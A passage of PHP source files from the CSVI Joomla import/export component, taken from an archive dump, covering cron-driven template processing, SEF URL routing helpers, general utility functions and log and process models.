return array(); } /** * Get the list of order products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderProduct() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $query->select($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id', 'product_sku')); $query->select($db->quoteName('title', 'product_name')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__akeebasubs_levels', 'l').' ON '.$db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id').' = '.$db->quoteName('l').'.'.$db->quoteName('akeebasubs_level_id')); $query->where($db->quoteName('l').'.'.$db->quoteName('title').' LIKE '.$db->quote('%'.$filter.'%')); $query->order($db->quoteName('title')); $query->group($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id')); $db->setQuery($query, 0, 10); $products = $db->loadObjectList(); if ($products) return $products; else return array(); } } ?>PK@y>\-,-,$components/com_csvi/helpers/cron.phpnuW+Ainitialise(); // Load the language file $language = JFactory::getLanguage(); $language->load('com_csvi', JPATH_BASE.'/administrator'); // Load the plugin system JPluginHelper::importPlugin('system'); // trigger the onAfterInitialise events $mainframe->triggerEvent('onAfterInitialise'); // Run the cron job $csvicron->runCron(); /** * Handles all cron requests * * @package CSVI */ class CsviCron { /** @var $basepath string the base of the installation */ var $basepath = ''; /** @var $_variables array of user set variables to override template settins */ var $_variables = ''; /** * Initialise the cron * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function __construct() { // Merge the default translation with the current translation $jlang = JFactory::getLanguage(); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, 'en-GB', true); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, $jlang->getDefault(), true); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, null, true); // Get the domain name require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php'); $settings = new CsviSettings(); $domainname = $settings->get('site.hostname', 'www.example.com'); // Check for the trailing slash at the domain name if (substr($domainname, -1) == '/') $domainname = substr($domainname, 0, -1); // Load the posted variables $this->CollectVariables(); // Fill the server global with necessary information $_SERVER['REQUEST_METHOD'] = 'post'; $_SERVER['HTTP_HOST'] = $domainname; $_SERVER['REMOTE_ADDR'] = gethostbyname('localhost'); $_SERVER['SERVER_PORT'] = ''; $_SERVER['HTTP_USER_AGENT'] = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0'; $_SERVER['REQUEST_URI'] = '/administrator/index.php'; $_SERVER['QUERY_STRING'] = ''; $_SERVER['PHP_SELF'] = '/index.php'; $_SERVER['SCRIPT_NAME'] = '/index.php'; if (isset($this->_variables['adminpw'])) { $_SERVER['QUERY_STRING'] = $this->_variables['adminpw']; $_SERVER['REQUEST_URI'] .= '?'.$this->_variables['adminpw']; } } /** * Initialise some settings */ public function runCron() { // Buffer all output to prevent conflicts with external software ob_start(); // Start the clock $starttime = time(); $db = JFactory::getDbo(); // First check if we deal with a valid user if ($this->Login()) { // Set some global values $jinput = JFactory::getApplication()->input; $jfilter = new JFilterInput(); // Get the parameters require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php'); $settings = new CsviSettings(); // Check if we are running cron mode and set some necessary variables $_SERVER['SERVER_ADDR'] = $_SERVER['HTTP_HOST'] = $settings->get('site.hostname'); $_SERVER['SCRIPT_NAME'] = '/index.php'; $_SERVER['REQUEST_URI'] = '/'; $_SERVER['PHP_SELF'] = '/index.php'; // Get the task to do if (isset($this->_variables['task'])) $task = $jfilter->clean($this->_variables['task']); else $task = ''; // Perform the requested task switch ($task) { case 'maintenance': $jinput->set('task', 'maintenance.'.$this->_variables['operation']); // Fire CSVI VirtueMart $this->ExecuteJob(); break; default: // Second check if any template is set to process if (array_key_exists('template_id', $this->_variables)) $template_id = $jfilter->clean($this->_variables['template_id'], 'int'); else $template_id = false; if (array_key_exists('template_name', $this->_variables)) $template_name = $jfilter->clean($this->_variables['template_name']); else $template_name = false; if ($template_id || $template_name) { // There is a template_id or template name, get some details to streamline processing $where = empty($template_id) ? 'name='.$db->q($template_name) : 'id='.$template_id; // There is a template name, get some details to streamline processing $q = "SELECT id AS template_id, name AS template_name, settings FROM #__csvi_template_settings WHERE ".$where; $db->setQuery($q); $row = $db->loadObject(); if (is_object($row)) { echo JText::sprintf('COM_CSVI_PROCESSING_STARTED', date('jS F Y, g:i a'))."\n"; echo JText::sprintf('COM_CSVI_TEMPLATE', $row->template_name)."\n"; // Set the template ID $jinput->set('select_template', $row->template_id); $jinput->set('template_id', $row->template_id); $jinput->set('template_name', $row->template_name); // Set the settings if (array_key_exists('jform', $this->_variables)) $settings = CsviHelper::arrayExtend(json_decode($row->settings, true), $this->_variables['jform']); else $settings = json_decode($row->settings, true); // Set some export settings if ($settings['options']['action'] == 'export') { // Export settings $jinput->set('task', 'exportfile.process'); // Set export to if ($settings['general']['exportto'] == 'todownload') $settings['general']['exportto'] = 'tofile'; } // Set some import settings else if ($settings['options']['action'] == 'import') { // Import settings $jinput->set('task', 'importfile.doimport'); // Turn off preview $settings['general']['show_preview'] = 0; } // Set a view so VirtueMart is happy $jinput->set('view', 'products'); // Post the settings $jinput->set('jform', $settings, 'post'); // Fire CSVI $this->ExecuteJob(); } else { if ($template_name) echo JText::sprintf('COM_CSVI_NO_TEMPLATE_FOUND', $template_name)."\n"; else if ($template_id) echo JText::sprintf('COM_CSVI_NO_TEMPLATE_FOUND', $template_id)."\n"; } } else echo JText::_('COM_CSVI_NO_TEMPLATE_SPECIFIED')."\n"; break; } } else { $error = JError::getError(); echo $error->message."\n"; } echo sprintf(JText::_('COM_CSVI_PROCESSING_FINISHED'), date('jS F Y, g:i a'))."\n"; $duration = time() - $starttime; if ($duration < 60) echo sprintf(JText::_('COM_CSVI_PROCESSING_SECONDS'), $duration)."\n"; else echo sprintf(JText::_('COM_CSVI_PROCESSING_MINUTES'), (number_format($duration/60, 2)))."\n"; // Done, lets log the user out $this->UserLogout(); // Display any generated messages $messages = ob_get_contents(); @ob_end_clean(); echo $messages; } /** * Collect the variables * * Running from the command line, the variables are stored in $argc and $argv. * Here we put them in $_REQUEST so that they are available to the script */ private function CollectVariables() { $arguments = false; // Take the argument values and put them in $_REQUEST if (isset($_SERVER['argv'])) { foreach ($_SERVER['argv'] as $key => $argument) { if ($key > 0) { list($name, $value) = explode("=", $argument); if (strpos($value, '|')) $value = explode('|', $value); if (strpos($name, ':')) { $names = explode(':', $name); if (count($names) == 3 && $names[0] == 'jform') { $this->_variables['jform'][$names[1]][$names[2]] = $value; } } else $this->_variables[$name] = $value; } } $arguments = true; } // Get the _GET if (!empty($_GET)) { $this->_storeVariables($_GET); $arguments = true; } // Get the _POST if (!empty($_POST)) { $this->_storeVariables($_POST); $arguments = true; } if (!$arguments) echo JText::_('COM_CSVI_NO_ARGUMENTS')."\n"; } /** * Store the variables * * @copyright * @author RolandD * @todo * @see * @access private * @param $vars array the variables to store * @return * @since 3.2 */ private function _storeVariables($vars) { foreach ($vars as $name => $value) { if (!empty($value)) { if (strpos($value, '|')) $value = explode('|', $value); if (substr($name, 0, 5) == 'jform') { if (strpos($name, ':')) $names = explode(':', $name); else $names = explode('_', $name); if (count($names) == 3 && $names[0] == 'jform') { $this->_variables['jform'][$names[1]][$names[2]] = $value; } } else $this->_variables[$name] = $value; } } } /** * Check if the user exists */ private function Login() { $mainframe = JFactory::getApplication(); $jfilter = new JFilterInput(); $credentials['username'] = $jfilter->clean($this->_variables['username'], 'username'); $credentials['password'] = $jfilter->clean($this->_variables['passwd']); $result = $mainframe->login($credentials, array('entry_url' => '')); if (!JError::isError($result)) { return true; } else return false; } /** * Process the requested job */ function ExecuteJob() { $jinput = JFactory::getApplication()->input; $jinput->set('cron', true); require(JPATH_COMPONENT_ADMINISTRATOR.'/csvi.php'); } /** * Log the user out */ private function UserLogout() { global $mainframe; ob_start(); $error = $mainframe->logout(); if(JError::isError($error)) { ob_end_clean(); echo JText::_('COM_CSVI_PROBLEM_LOGOUT_USER')."\n"; } else { ob_end_clean(); echo JText::_('COM_CSVI_USER_LOGGED_OUT')."\n"; } } } ?>PK@y>\ww'components/com_csvi/helpers/csvisef.phpnuW+A_domainname = CsviHelper::getDomainName(); } /** * Create a SEF URL * * @copyright * @author RolandD * @todo Change exportsef to template * @see * @access private * @param string $url The url to change to SEF * @return string the new url * @since 3.0 */ public function getSiteRoute($url) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $parsed_url = null; // Check which SEF component is installed if (empty($this->_sef)) { if ($template->get('exportsef', 'product', false)) { // Joomla SEF if (JPluginHelper::isEnabled('system', 'sef')) $this->_sef = 'joomla'; // sh404SEF check if (JPluginHelper::isEnabled('system', 'shsef')) $this->_sef = 'sh404sef'; // JoomSEF check if (JPluginHelper::isEnabled('system', 'joomsef')) $this->_sef = 'joomsef'; // AceSEF check if (JPluginHelper::isEnabled('system', 'acesef')) $this->_sef = 'acesef'; // There is no SEF enabled if (empty($this->_sef)) $this->_sef = 'nosef'; } else $this->_sef = 'nosef'; } switch ($this->_sef) { case 'sh404sef': $parsed_url = $this->_sh404Sef($url); break; case 'joomsef': $parsed_url = $this->_joomSef($url); break; case 'joomla': $parsed_url = $this->_joomlaSef($url); break; case 'acesef': $parsed_url = $this->_aceSef($url); break; case 'nosef': default: // No SEF router found, returning regular URL return $this->_domainname.JRoute::_($url); break; } // Clean up the parsed SEF URL if (!empty($parsed_url)) { // Clean up the parsed SEF URL if (substr($parsed_url, 4) == 'http') return $parsed_url; else { // Check for administrator in the domain $adminpos = strpos($parsed_url,'/administrator/'); if ($adminpos !== false) $parsed_url = substr($parsed_url,$adminpos+15); // Check if we have a domain name in the URL if (!empty($this->_domainname)) { $check_domain = str_replace('https', 'http', $this->_domainname); $domain = strpos($parsed_url, $check_domain); if ($domain === false) { if (substr($parsed_url, 0, 1) == '/') $parsed_url = $this->_domainname.$parsed_url; else $parsed_url = $this->_domainname.'/'.$parsed_url; } return $parsed_url; } else { $csvilog->addDebug(JText::_('COM_CSVI_NO_DOMAINNAME_SET')); return $url; } } } } /** * Create sh404SEF URLs * * @copyright * @author RolandD * @todo * @see http://dev.anything-digital.com/sh404SEF/ * @see getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _sh404Sef($url) { // Load sh404SEF require_once(JPATH_ADMINISTRATOR.'/components/com_sh404sef/sh404sef.class.php'); $sefConfig = shRouter::shGetConfig(); // Turn off any security and flooding setting $sefConfig->shSecEnableSecurity = 0; $sefConfig->shSecActivateAntiFlood = 0; // Require some necessary files require_once(JPATH_ROOT.'/components/com_sh404sef/shCache.php'); require_once(JPATH_ROOT.'/components/com_sh404sef/shSec.php'); // Start the sh404sef Router if (class_exists('shRouter')) $shRouter = new shRouter(); else return $this->_domainname.'/'.$url; // Force the domain name $GLOBALS['shConfigLiveSite'] = $this->_domainname; // Initialize sh404sef include_once(JPATH_ROOT.'/components/com_sh404sef/shInit.php'); // Build the SEF URL $uri = $shRouter->build($url); $sefurl = $uri->toString(); if (strpos($sefurl, 'http://') === false) { $sefurl = str_ireplace('http:/', 'http://', $sefurl); } return $sefurl; } /** * Create JoomSEF URLs * * @copyright * @author RolandD * @todo * @see http://www.artio.net/joomla-extensions/joomsef * @see _getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _joomSef($url) { // Include Joomla files jimport('joomla.application.router'); require_once(JPATH_ROOT.'/includes/application.php'); // Include JoomSEF require_once(JPATH_ROOT.'/components/com_sef/sef.router.php'); $shRouter = new JRouterJoomSef(); // Build the SEF URL $uri = $shRouter->build($url); return $uri->toString(); } /** * Create Joomla SEF URLs * * @copyright * @author RolandD * @todo * @see http://www.joomla.org/ * @see _getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _joomlaSef($url) { // Load Joomla core files for SEF jimport('joomla.application.router'); require_once(JPATH_ROOT.'/includes/application.php'); require_once(JPATH_ROOT.'/includes/router.php'); $router = new JRouterSite(array('mode' => 1)); $uri = $router->build($url); return $uri->toString(); } /** * Create aceSEF URLs * * @copyright * @author RolandD * @todo * @see http://www.joomace.net/joomla-extensions/acesef * @see _getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _aceSef($url) { jimport('joomla.application.router'); require_once(JPATH_ROOT.'/includes/application.php'); require_once(JPATH_ADMINISTRATOR.'/components/com_acesef/library/router.php'); require_once(JPATH_ADMINISTRATOR.'/components/com_acesef/library/loader.php'); $router = new JRouterAcesef(); $uri = $router->build($url); return $uri->toString(); } } ?> PK@y>\c(,(,$components/com_csvi/helpers/csvi.phpnuW+A$v) { if( is_array($v) ) { if( !isset($a[$k]) ) { $a[$k] = $v; } else { $a[$k] = self::arrayExtend($a[$k], $v); } } else { $a[$k] = $v; } } return $a; } /** * Recursive array diff * * @copyright * @author Amund, RolandD * @todo * @see http://www.php.net/manual/en/function.array-merge.php#91756 * @access private * @param array $aArray1 The array to update * @param array $aArray2 The array with new values * @return array with all new values * @since 3.0 */ public function recurseArrayDiff($aArray1, $aArray2) { $aReturn = array(); if (is_array($aArray1) && is_array($aArray2)) { foreach ($aArray1 as $mKey => $mValue) { if (array_key_exists($mKey, $aArray2)) { if (is_array($mValue)) { $aRecursiveDiff = self::recurseArrayDiff($mValue, $aArray2[$mKey]); if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; } } else { if ($mValue != $aArray2[$mKey]) $aReturn[$mKey] = $mValue; } } else { $aReturn[$mKey] = $mValue; } } } return $aReturn; } /** * Perform replacement on a value * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id the id of the replacement rule * @param string $value the text to replace * @return string the replaced text * @since 3.0 */ public function replaceValue($id, $value) { static $replacements; if ($id > 0) { if (!isset($this->replacements[$id])) { // Get the replace details $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('findtext')); $query->select($db->quoteName('replacetext')); $query->select($db->quoteName('method')); $query->from('#__csvi_replacements'); $query->where('id = '.$db->Quote($id)); $db->setQuery($query); $replace = $db->loadObject(); $this->replacements[$id] = $replace; } else { $replace = $this->replacements[$id]; } // Perform the replacement if (empty($replace)) return $value; else { switch ($replace->method) { case 'text': $fieldvalue = str_ireplace($replace->findtext, $replace->replacetext, $value); break; case 'regex': $fieldvalue = preg_replace($replace->findtext, $replace->replacetext, $value); break; } } return $fieldvalue; } else return $value; } /** * Get the list of custom tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array list of order item product objects * @since 3.0 */ public function getCustomTables() { $db = JFactory::getDbo(); $q = "SELECT component_table FROM #__csvi_available_fields WHERE core = 0 GROUP BY component_table"; $db->setQuery($q); return $db->loadColumn(); } /** * Check whether a file referenced by a URL exists * * Note: The time taken to check a valid format url: 0.10 secs, regardless of whether the file exists * * @copyright * @author doorknob, RolandD * @todo * @see * @access public * @param string $file The URL to be checked * @return boolean true if file exists | false if file does not exist * @since 2.17 */ public function fileExistsRemote($file) { // If it is an SSL file we cannot validate its existence if (substr($file, 0, 5) == 'https') return true; $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $url_parts = @parse_url($file); $csvilog->addDebug('URL:'.$file); if (!isset($url_parts['host']) || empty($url_parts['host'])) { return false; } if (!isset($url_parts['path']) || empty($url_parts['path'])) { $documentpath = '/'; } else { $documentpath = $url_parts['path']; } if (isset($url_parts['query']) && !empty($url_parts['query'])) { $documentpath .= '?'.$url_parts['query']; } $host = $url_parts['host']; if (!isset($url_parts['port']) || empty($url_parts['port'])) { if ($url_parts['scheme'] == 'https') $port = '443'; else $port = '80'; } else { $port = $url_parts['port']; } if ($url_parts['scheme'] == 'https') { $sslhost = 'ssl://'.$host; } else $sslhost = $host; $errno = null; $errstr = null; $documentpath = str_replace(' ', '%20', $documentpath); $socket = @fsockopen($sslhost, $port, $errno, $errstr, 30); if ($socket) { fwrite($socket, "HEAD $documentpath HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\nHost: $host\r\n\r\n"); $http_response = fgets($socket, 25); fclose($socket); // Parse the result $csvilog->addDebug('HTTP response:'.$http_response); if (stripos($http_response, '200 OK') === false && stripos($http_response, '302 Found') === false) { return false; } else return true; } return false; } /** * Find the primary key of a given table * * @copyright * @author RolandD * @todo * @see * @access public * @param $table string the name of the table to find the primary key * @return string the fieldname that is the primary key * @since 3.0 */ public function getPrimaryKey($tablename) { $db = JFactory::getDbo(); $q = "SHOW KEYS FROM ".$db->quoteName('#__'.$tablename)." WHERE ".$db->quoteName('Key_name')." = ".$db->quote('PRIMARY'); $db->setQuery($q); $key = $db->loadObject(); if (!is_object($key)) return ''; else return $key->Column_name; } /** * Get the domainname * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string domain name * @since 3.4 */ public function getDomainName() { $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); // Get the domainname $domainname = $settings->get('site.hostname'); // Check for the trailing slash at the domain name if (substr($domainname, -1) == '/') $domainname = substr($domainname, 0, -1); // Assign the domainname return $domainname; } /** * Get supported components * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of supported components * @since 4.0 */ public function getComponents() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('component AS value, component AS text'); $query->from($db->quoteName('#__csvi_template_types')); $query->leftJoin('#__extensions ON #__csvi_template_types.component = #__extensions.element'); $query->where($db->quoteName('#__extensions.type').' = '.$db->Quote('component')); $query->group('component'); $db->setQuery($query); return $db->loadObjectList(); } /** * Get the buttons for the control panel * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return object with the button HTML data * @since 3.0 */ public function getButtons() { // Get the Cpanel images $cpanel_images = new stdClass(); $cpanel_images->process = $this->CpanelButton('csvi_process_48.png', 'index.php?option=com_csvi&view=process', 'COM_CSVI_PROCESS'); $cpanel_images->replacements = $this->CpanelButton('csvi_replace_48.png', 'index.php?option=com_csvi&view=replacements', 'COM_CSVI_REPLACEMENTS'); $cpanel_images->maintenance = $this->CpanelButton('csvi_maintenance_48.png', 'index.php?option=com_csvi&view=maintenance', 'COM_CSVI_MAINTENANCE'); $cpanel_images->help = $this->CpanelButton('csvi_help_48.png', 'http://www.csvimproved.com/csv-improved-documentation/', 'COM_CSVI_HELP'); $cpanel_images->about = $this->CpanelButton('csvi_about_48.png', 'index.php?option=com_csvi&view=about', 'COM_CSVI_ABOUT'); $cpanel_images->log = $this->CpanelButton('csvi_log_48.png', 'index.php?option=com_csvi&view=log', 'COM_CSVI_LOG'); $cpanel_images->availablefields = $this->CpanelButton('csvi_av_fields_48.png', 'index.php?option=com_csvi&view=availablefields', 'COM_CSVI_AVAILABLE_FIELDS'); $cpanel_images->settings = $this->CpanelButton('csvi_settings_48.png', 'index.php?option=com_csvi&view=settings', 'COM_CSVI_SETTINGS'); $cpanel_images->install = $this->CpanelButton('csvi_install_48.png', 'index.php?option=com_csvi&view=install', 'COM_CSVI_INSTALL'); return $cpanel_images; } /** * Creates a button for the control panel * * @copyright * @author RolandD * @todo * @see * @access private * @param string $image contains the name of the image * @param string $link contains the target link for the image when clicked * @param string $title contains the title of the button * @return string returns a complete button for the control panel * @since 3.0 */ private function CpanelButton($image, $link, $title) { if (substr($link, 0, 4) == "http") $attribs = ' target="_new"'; else $attribs = ''; $cpanelbutton = '
      '; $cpanelbutton .= '
      '; $cpanelbutton .= JHTML::_('link', $link, JHTML::_('image', JURI::root().'administrator/components/com_csvi/assets/images/'.$image, JText::_($title)).''.JText::_($title).'', $attribs); $cpanelbutton .= '
      '; $cpanelbutton .= '
      '; return $cpanelbutton; } /** * Get a Yes/No dropdown list * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the name of the dropdown * @param string $selected pre-selected entry * @param string $attribs attributes to add to the dropdown * @param string $idtag the id to give to the dropdown * @return string that contains the dropdown with options * @since 4.0 */ public function getYesNo($name, $selected=null, $attribs=null, $idtag=null) { $options = array(); $options[] = JHtml::_('select.option', '0', JText::_('COM_CSVI_NO')); $options[] = JHtml::_('select.option', '1', JText::_('COM_CSVI_YES')); return JHtml::_('select.genericlist', $options, $name, $attribs, 'value', 'text', $selected, $idtag); } } ?> PK@y>\F]E2components/com_csvi/helpers/com_redshop_config.phpnuW+A_redshopcfgfile = JPATH_ADMINISTRATOR.'/components/com_redshop/helpers/redshop.cfg.php'; $this->_redshopcfg = file($this->_redshopcfgfile); } /** * Finds a given redSHOP setting * @var string $setting The config value to find * @return string the value of the config setting */ public function get($setting) { $key = $this->array_find($setting, $this->_redshopcfg); if ($key) { $find_setting = explode('\', \'', $this->_redshopcfg[$key]); return substr(trim($find_setting[1]), 0, -3); } else return false; } /** * Searched the array for a partial value * @return mixed Array key if found otherwise false */ private function array_find($needle, $haystack) { foreach ($haystack as $key => $item) { if (stripos($item, $needle) !== FALSE) { return $key; break; } } // Nothing found return false return false; } } ?>PK@y>\=!naa)components/com_csvi/models/logdetails.phpnuW+AsetState('filter.action', $app->getUserStateFromRequest($this->_context.'.filter.action', 'filter_action', false, 'word')); $this->setState('filter.result', $app->getUserStateFromRequest($this->_context.'.filter.result', 'filter_result', false, 'word')); // List state information. // Controls the query ORDER BY parent::populateState('d.line', 'asc'); } /** * Build an SQL query to load the list data. * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return object the query to execute * @since 4.0 */ protected function getListQuery() { // Create a new query object. $jinput = JFactory::getApplication()->input; $db = $this->getDbo(); $query = $db->getQuery(true); // Get the Run ID $run_id = $jinput->get('run_id', 0, 'int'); // Select the required fields from the table. $query->select('d.line, d.description, d.status, d.log_id, d.result'); $query->from('#__csvi_log_details AS d'); // Add all the filters $filters = array(); if ($run_id) { $query->leftJoin('#__csvi_logs AS l ON l.id = d.log_id'); $query->where('l.run_id = '.$run_id); } if ($this->getState('filter.action')) $filters[] = $db->quoteName('status').' = '.$db->Quote($this->getState('filter.action')); if ($this->getState('filter.result')) $filters[] = $db->quoteName('result').' = '.$db->Quote($this->getState('filter.result')); if (!empty($filters)) { // Add the clauses to the query. $query->where('('.implode(' AND ', $filters).')'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Get the actions available for the current log * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available actions * @since 3.0 */ public function getActions() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $run_id = $jinput->get('run_id', 0, 'int'); $q = "SELECT CONCAT('COM_CSVI_', UPPER(".$db->quoteName('status').")) AS ".$db->Quote('text').", ".$db->quoteName('status')." as ".$db->Quote('value')." FROM ".$db->quoteName('#__csvi_log_details')." WHERE log_id IN (SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id.") GROUP by ".$db->quoteName('value'); $db->setQuery($q); $actions = $db->loadObjectList(); $showall = JHtml::_('select.option', '', JText::_('COM_CSVI_SELECT_ACTION'), 'value', 'text'); array_unshift($actions, $showall); return JHtml::_('select.genericlist', $actions, 'filter_action', '', 'value', 'text', $jinput->get('filter_action'), false, true); } /** * Get the results available for the current log * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available results * @since 3.0 */ public function getResults() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $run_id = $jinput->get('run_id', 0, 'int'); $q = "SELECT CONCAT('COM_CSVI_', UPPER(".$db->quoteName('result').")) AS ".$db->Quote('text').", ".$db->quoteName('result')." as ".$db->Quote('value')." FROM ".$db->quoteName('#__csvi_log_details')." WHERE log_id IN (SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id.") GROUP by ".$db->quoteName('result'); $db->setQuery($q); $results = $db->loadObjectList(); $showall = JHtml::_('select.option', '', JText::_('COM_CSVI_SELECT_RESULT'), 'value', 'text'); array_unshift($results, $showall); return JHtml::_('select.genericlist', $results, 'filter_result', '', 'value', 'text', $jinput->get('filter_result'), false, true); } } ?>PK@y>\<9(*components/com_csvi/models/replacement.phpnuW+AloadForm($this->context, 'replacement', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_csvi.edit.replacement.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } } ?> PK@y>\ &components/com_csvi/models/process.phpnuW+Ainput; $jform = $jinput->get('jform', array(), 'array'); if (!isset($jform['options'])) $action = 'import'; else $action = $jform['options']['action']; // Construct the super XML $xml = '
      '; // Add the main XML $xml .= JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/models/forms/'.$action.'.xml'); // Load additional XMLs if (!empty($jform) && isset($jform['options'])) { // Get the component name $component = $jform['options']['component']; if (!empty($options)) { foreach ($options as $option) { $readfile = false; // Check the component specific XML $filename = JPATH_COMPONENT_ADMINISTRATOR.'/models/forms/'.$component.'/'.$action.'/'.$option.'.xml'; if (JFile::exists($filename)) $readfile = $filename; else { // Check if there is a generic XML $filename = JPATH_COMPONENT_ADMINISTRATOR.'/models/forms/'.$action.'/'.$option.'.xml'; if (JFile::exists($filename)) $readfile = $filename; } // Read the file if ($readfile) { $subxml = JFile::read($readfile); if ($subxml) $xml .= $subxml; } } } } // Close the XML $xml .= '
      '; // Load the form $form = $this->loadForm($this->context, $xml, array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @copyright * @author RolandD * @todo * @see getForm() * @access protected * @param * @return mixed The data for the form * @since 4.0 */ protected function loadFormData() { $jinput = JFactory::getApplication()->input; $data = $jinput->get('jform', array(), 'array'); return $data; } /** * Load the option templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getOptions() { $jinput = JFactory::getApplication()->input; $jform = $jinput->get('jform', array(), 'array'); $options = array(); if (!empty($jform) && isset($jform['options']) && isset($jform['options']['component']) && isset($jform['options']['operation'])) { // Get the operation the user wants to perform $component = $jform['options']['component']; $operation = $jform['options']['operation']; // Get the option templates needed for the operation $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('options'); $query->from('#__csvi_template_types'); $query->where('template_type_name = '.$db->Quote($operation)); $query->where('component = '.$db->Quote($component)); $db->setQuery($query); $result = $db->loadResult(); $options = explode(',', $result); } return $options; } /** * Get the list of order statussen */ public function getOrderStatus() { $db = JFactory::getDBO(); $q = "SELECT order_status_code, order_status_name FROM #__virtuemart_orderstates ORDER BY ordering"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order products */ public function getOrderCurrency() { $db = JFactory::getDBO(); $q = "SELECT order_currency, currency_name FROM #__vm_orders o, #__vm_currency c WHERE o.order_currency = c.currency_code GROUP BY currency_name ORDER BY currency_name;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of exchange rate currencies */ public function getExchangeRateCurrency() { $db = JFactory::getDBO(); $q = "SELECT #__csvi_currency.currency_code AS currency_code, IF (#__vm_currency.currency_name IS NULL, #__csvi_currency.currency_code, #__vm_currency.currency_name) AS currency_name FROM #__csvi_currency LEFT JOIN #__vm_currency on #__vm_currency.currency_code = #__csvi_currency.currency_code;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Check if there are any templates with fields */ public function getCountTemplateFields() { $db = JFactory::getDBO(); $q = "SELECT field_template_id, COUNT(field_template_id) AS total FROM #__csvi_template_fields WHERE field_template_id in ( SELECT template_id FROM #__csvi_templates WHERE template_type LIKE '%export') GROUP BY field_template_id"; $db->setQuery($q); $nrfields = $db->loadResultArray(); if ($db->getErrorNum() > 0) { JError::raiseWarning(0, $db->getErrorMsg()); return false; } else { /* Check if there are any templates with more than 0 fields */ foreach ($nrfields as $key => $nr) { if ($nr > 0) return true; } } } /** * Get a list of possible VM Item IDs */ public function getVmItemids() { $db = JFactory::getDBO(); $q = "SELECT id AS value, name AS text FROM #__menu WHERE link LIKE '%com_virtuemart%'"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of selected order item products * * @copyright * @author RolandD * @todo Do not use INFORMATION_SCHEMA * @see * @access public * @param * @return array list of order item product objects * @since 3.0 */ public function getJoomFishLanguages() { $db = JFactory::getDBO(); $conf = JFactory::getConfig(); $q = "SELECT table_name FROM information_schema.tables WHERE table_schema = ".$db->Quote($conf->getValue('config.db'))." AND table_name = ".$db->Quote($conf->getValue('config.dbprefix').'languages'); $db->setQuery($q); $total = $db->loadResult(); if (!empty($total)) { $q = "SELECT ".$db->quoteName('name')." AS ".$db->quoteName('text').", ".$db->quoteName('id')." AS ".$db->quoteName('value')." FROM #__languages ORDER BY name"; $db->setQuery($q); return $db->loadObjectList(); } else return array(); } /** * Get a list of XML sites * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type the type of files to find (XML or HTML) * @return array list of XML sites * @since 3.0 */ public function getExportSites($type) { jimport('joomla.filesystem.folder'); $files = array(); $path = JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/export/'.$type; if (JFolder::exists($path)) { $files = JFolder::files($path, '.php'); if (!empty($files)) { foreach ($files as $fkey => $file) { $files[$fkey] = basename($file, '.php'); } } else $files = array(); } return $files; } /** * Get a dropdown list of replacements * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of replacements * @since 4.0 */ public function getReplacements() { $replacements = array(); $db = JFactory::getDbo(); $query = 